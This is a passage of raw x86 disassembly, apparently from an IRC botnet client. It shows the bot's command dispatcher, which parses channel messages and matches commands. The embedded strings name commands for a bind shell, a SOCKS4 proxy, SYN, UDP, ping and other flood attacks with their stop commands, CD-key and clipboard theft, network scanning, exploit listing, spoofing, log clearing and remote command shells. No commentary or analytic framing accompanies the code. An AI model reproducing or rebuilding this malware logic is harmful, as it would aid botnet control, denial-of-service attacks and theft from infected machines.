		push	offset dword_42EE24
		jmp	loc_401E80
; ---------------------------------------------------------------------------


loc_40235A:				; CODE XREF: sub_401AC7+74Bj
		push	offset asc_42EF60 ; " :"
		push	[ebp+arg_0]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E8B
		mov	edi, [ebp+arg_20]
		mov	cl, byte_425094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_425094
		mov	[eax+3], cl
		lea	ecx, dword_43B9D8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_417B00
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_4023B2:				; CODE XREF: sub_401AC7+99Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h
		test	eax, eax
		jz	short loc_40241E
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_40241E
		lea	eax, dword_43B9C0[edi]
		push	eax
		call	sub_4176F0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402459
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402459
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 0Ch
		jmp	short loc_402459
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401AC7+913j
					; sub_401AC7+91Aj
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jnz	short loc_402459
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 18h


loc_402459:				; CODE XREF: sub_401AC7+92Cj
					; sub_401AC7+940j ...
		dec	[ebp+arg_8]
		sub	[ebp+arg_20], 4
		cmp	[ebp+arg_8], ebx
		jg	loc_4023B2
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_402476:				; CODE XREF: sub_401AC7+9FBj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h
		test	eax, eax
		jz	short loc_4024B9
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4024B9
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		add	esp, 0Ch


loc_4024B9:				; CODE XREF: sub_401AC7+9D7j
					; sub_401AC7+9DDj
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_402476
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2C8], 1


loc_4024D1:				; CODE XREF: sub_401AC7+731j
					; sub_401AC7+766j
		mov	al, [edi]
		cmp	al, byte_425094
		jz	short loc_4024E7
		cmp	[ebp+var_2C8], ebx
		jz	loc_4026D8


loc_4024E7:				; CODE XREF: sub_401AC7+A12j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_414FC3
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_414FC3
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_414FC3
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_414FC3
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_414FC3
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 14h


loc_402559:				; CODE XREF: sub_401AC7+B8Aj
		test	eax, eax
		jz	loc_402656
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_A0]
		push	offset asc_42EDE4 ; ")"
		push	eax
		call	sub_4185F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_4025A5
		cmp	[ebp+var_A0], 39h
		jle	short loc_4025BB


loc_4025A5:				; CODE XREF: sub_401AC7+AD3j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_4025BB:				; CODE XREF: sub_401AC7+ADCj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	short loc_4025E1
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_4025F5
; ---------------------------------------------------------------------------


loc_4025E1:				; CODE XREF: sub_401AC7+B03j
		call	sub_417DF2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_4025F5:				; CODE XREF: sub_401AC7+B18j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_4176F0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AA0
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_414FC3
		push	edi
		push	[ebp+arg_0]
		call	sub_417E10
		add	esp, 30h
		jmp	loc_402559
; ---------------------------------------------------------------------------


loc_402656:				; CODE XREF: sub_401AC7+A94j
		mov	edi, 1FFh
		lea	eax, [ebp+var_39E8]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_39E8]
		push	edi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_3E4C]
		push	offset asc_42EF5C ; " "
		push	eax
		call	sub_4185F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_4026A6:				; CODE XREF: sub_401AC7+BF4j
		push	offset asc_42EF5C ; " "
		push	ebx
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_4026A6
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E8B
		add	ecx, 3
		mov	[eax], ecx


loc_4026D8:				; CODE XREF: sub_401AC7+A1Aj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F8
		push	edi
		push	offset aRn	; "rn"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F8
		push	edi
		push	offset aDie	; "die"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404459
		push	edi
		push	offset aD	; "d"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404459
		push	edi
		push	offset aLogout	; "logout"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043B7
		push	edi
		push	offset aLo	; "lo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043B7
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AD
		push	edi
		push	offset aDed	; "ded"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AD
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404394
		push	edi
		push	offset aSt	; "st"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404394
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428E
		push	edi
		push	offset aBd	; "bd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40428E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40281E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED70


loc_402802:				; CODE XREF: sub_401AC7+DA5j
					; sub_401AC7+DCBj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 20h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_40281E:				; CODE XREF: sub_401AC7+D26j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416C
		push	edi
		push	offset aS4	; "s4"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40416C
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286E
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED48
		jmp	short loc_402802
; ---------------------------------------------------------------------------


loc_40286E:				; CODE XREF: sub_401AC7+D90j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402897
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED2C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402897:				; CODE XREF: sub_401AC7+DB6j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028C0
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42ED10
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4028C0:				; CODE XREF: sub_401AC7+DDFj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028E9
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42ECFC
		push	offset dword_42ECF0
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4028E9:				; CODE XREF: sub_401AC7+E08j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402912
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42ECD0
		push	offset dword_42ECC0
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402912:				; CODE XREF: sub_401AC7+E31j
		push	edi
		push	offset dword_42ECB4
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40293B
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42ECA8
		push	offset dword_42EC9C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40293B:				; CODE XREF: sub_401AC7+E5Aj
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402964
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42EC88
		push	offset dword_42EC7C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402964:				; CODE XREF: sub_401AC7+E83j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40298D
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42EC60
		push	offset dword_42EC50
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_40298D:				; CODE XREF: sub_401AC7+EACj
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4029B6
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42EC34
		push	offset dword_42EC24
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_401AC7+ED5j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4029DF
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42EC0C
		push	offset dword_42EC00
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4029DF:				; CODE XREF: sub_401AC7+EFEj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402B1A
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+var_88]
		push	esi
		push	0Dh
		push	offset dword_42ECA8
		push	offset dword_42EC9C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	0Eh
		push	offset dword_42EC88
		push	offset dword_42EC7C
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42EBE8
		push	offset dword_42EBDC
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	16h
		push	offset dword_42EBD0
		push	offset dword_42EBC4
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42EC34
		push	offset dword_42EC24
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	12h
		push	offset dword_42EC0C
		push	offset dword_42EC00
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42EBB4
		push	offset dword_42EBA4
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	esi
		push	13h
		push	offset dword_42EB94
		push	offset dword_42EB84
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42EC60
		push	offset dword_42EC50
		push	1
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_4]
		call	sub_40A491
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EB50
		push	edi
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 34h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_402B1A:				; CODE XREF: sub_401AC7+F27j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B43
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42EBB4
		push	offset dword_42EBA4
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B43:				; CODE XREF: sub_401AC7+1062j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B6C
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42EB94
		push	offset dword_42EB84
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B6C:				; CODE XREF: sub_401AC7+108Bj
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B95
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42EBE8
		push	offset dword_42EBDC
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402B95:				; CODE XREF: sub_401AC7+10B4j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBE
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42EBD0
		push	offset dword_42EBC4
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402BBE:				; CODE XREF: sub_401AC7+10DDj
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE7
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42EB08
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402BE7:				; CODE XREF: sub_401AC7+1106j
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404154
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404154
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C3A
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42EAD0
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C3A:				; CODE XREF: sub_401AC7+1159j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C63
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset dword_42EAAC
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C63:				; CODE XREF: sub_401AC7+1182j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C8C
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42EA8C
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_402C8C:				; CODE XREF: sub_401AC7+11ABj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413E
		push	edi
		push	offset aStats	; "stats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40413E
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404128
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404128
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404112
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404112
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040FC
		push	edi
		push	offset aExplist	; "explist"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040FC
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DD
		push	edi
		push	offset aR	; "r"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DD
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040BB
		push	edi
		push	offset aDc	; "dc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040BB
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404073
		push	edi
		push	offset aQ	; "q"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404073
		push	edi
		push	offset aStatus	; "status"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404035
		push	edi
		push	offset aS_1	; "s"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404035
		push	edi
		push	offset aId	; "id"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FFE
		push	edi
		push	offset aI_0	; "i"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FFE
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E58
		call	sub_41540C
		test	eax, eax
		mov	eax, offset unk_42E9D4
		jnz	short loc_402E2A
		mov	eax, offset unk_42E9AC


loc_402E2A:				; CODE XREF: sub_401AC7+135Cj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 1Ch
		jmp	loc_4079C8
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401AC7+134Ej
		push	edi
		push	offset aThreads	; "threads"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F10
		push	edi
		push	offset aT	; "t"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F10
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EED
		push	edi
		push	offset aAl	; "al"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EED
		push	edi
		push	offset aLo0g	; "lo0g"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DFD
		push	edi
		push	offset aL0g	; "l0g"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DFD
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DE4
		push	edi
		push	offset aClg	; "clg"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DE4
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DAA
		push	edi
		push	offset aNi	; "ni"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DAA
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D7F
		push	edi
		push	offset aSi	; "si"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D7F
		push	edi
		push	offset aRemov10e ; "remov10e"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D45
		push	edi
		push	offset aR010m	; "r010m"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D45
		push	edi
		push	offset aProcs	; "procs"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aPs	; "ps"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C22
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BFB
		push	edi
		push	offset aKey	; "key"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BFB
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B74
		push	edi
		push	offset aUp	; "up"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B74
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B57
		push	edi
		push	offset aDrv	; "drv"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B57
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B3E
		push	edi
		push	offset aDll	; "dll"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403B3E
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AFF
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AFF
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A3
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42E8EC
		push	offset dword_42E8E0
		jmp	loc_402802
; ---------------------------------------------------------------------------


loc_4030A3:				; CODE XREF: sub_401AC7+15C2j
		push	edi
		push	offset dword_42E8DC
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4031C0
		cmp	[ebp+var_8], ebx
		jnz	short loc_4030D7
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E8C8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_4030D7:				; CODE XREF: sub_401AC7+15F4j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_4030E5
; ---------------------------------------------------------------------------


loc_4030E2:				; CODE XREF: sub_401AC7+166Aj
		mov	eax, [ebp+arg_18]


loc_4030E5:				; CODE XREF: sub_401AC7+1619j
		cmp	[eax], bl
		jz	short loc_4030EC
		inc	eax
		jmp	short loc_4030F1
; ---------------------------------------------------------------------------


loc_4030EC:				; CODE XREF: sub_401AC7+1620j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4030F1:				; CODE XREF: sub_401AC7+1623j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_4030E2
		push	offset unk_42E894
		call	sub_413B5E
		pop	ecx


loc_40313E:				; CODE XREF: sub_401AC7+1850j
					; sub_401AC7+29A6j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E8B
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404579
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40447F
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E860
		push	eax
		mov	dword_4CCFB0, ebx
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_403196:				; CODE XREF: sub_401AC7+2A59j
					; sub_401AC7+2A7Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_408A45
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D


loc_4031B8:				; CODE XREF: sub_401AC7+6681j
					; sub_401AC7+66E5j
		add	esp, 14h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401AC7+15EBj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ABE
		push	edi
		push	offset aGc	; "gc"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ABE
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A93
		push	edi
		push	offset aFarp	; "farp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A93
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A6F
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A6F
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A35
		push	edi
		push	offset aCip	; "cip"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A35
